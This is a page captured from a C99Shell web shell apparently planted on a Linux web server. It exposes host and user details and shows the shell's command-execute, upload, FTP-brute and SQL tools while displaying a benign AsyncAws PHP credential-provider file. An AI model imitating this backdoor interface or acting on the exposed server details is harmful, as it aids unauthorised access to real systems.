!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/async-aws/core/src/Credentials/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ConfigurationProvider.php (2.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
AsyncAws\Core\Credentials;

use 
AsyncAws\Core\Configuration;
use 
AsyncAws\Core\Exception\RuntimeException;
use 
AsyncAws\Core\Sts\StsClient;
use 
Psr\Log\LoggerInterface;
use 
Psr\Log\NullLogger;
use 
Symfony\Contracts\HttpClient\HttpClientInterface;

/**
 * Provides Credentials from Configuration data.
 *
 * @author Jérémy Derussé <jeremy@derusse.com>
 */
final class ConfigurationProvider implements CredentialProvider
{
    use 
DateFromResult;

    private 
$logger;

    private 
$httpClient;

    public function 
__construct(?HttpClientInterface $httpClient null, ?LoggerInterface $logger null)
    {
        
$this->logger $logger ?? new NullLogger();
        
$this->httpClient $httpClient;
    }

    public function 
getCredentials(Configuration $configuration): ?Credentials
    
{
        
$accessKeyId $configuration->get(Configuration::OPTION_ACCESS_KEY_ID);
        
$secretAccessKeyId $configuration->get(Configuration::OPTION_SECRET_ACCESS_KEY);

        if (
null === $accessKeyId || null === $secretAccessKeyId) {
            return 
null;
        }

        
$credentials = new Credentials(
            
$accessKeyId,
            
$secretAccessKeyId,
            
$configuration->get(Configuration::OPTION_SESSION_TOKEN)
        );

        
$roleArn $configuration->get(Configuration::OPTION_ROLE_ARN);
        if (
null !== $roleArn) {
            
$region $configuration->get(Configuration::OPTION_REGION);
            
$roleSessionName $configuration->get(Configuration::OPTION_ROLE_SESSION_NAME);

            return 
$this->getCredentialsFromRole($credentials$region$roleArn$roleSessionName);
        }

        
/** @psalm-suppress PossiblyNullArgument */
        
return $credentials;
    }

    private function 
getCredentialsFromRole(Credentials $credentialsstring $regionstring $roleArnstring $roleSessionName null): ?Credentials
    
{
        
$roleSessionName $roleSessionName ?? uniqid('async-aws-'true);
        
$stsClient = new StsClient(['region' => $region], $credentials$this->httpClient);
        
$result $stsClient->assumeRole([
            
'RoleArn' => $roleArn,
            
'RoleSessionName' => $roleSessionName,
        ]);

        try {
            if (
null === $credentials $result->getCredentials()) {
                throw new 
RuntimeException('The AsumeRole response does not contains credentials');
            }
        } catch (
\Exception $e) {
            
$this->logger->warning('Failed to get credentials from assumed role: {exception}".', ['exception' => $e]);

            return 
null;
        }

        return new 
Credentials(
            
$credentials->getAccessKeyId(),
            
$credentials->getSecretAccessKey(),
            
$credentials->getSessionToken(),
            
Credentials::adjustExpireDate($credentials->getExpiration(), $this->getDateFromResult($result))
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0048 ]--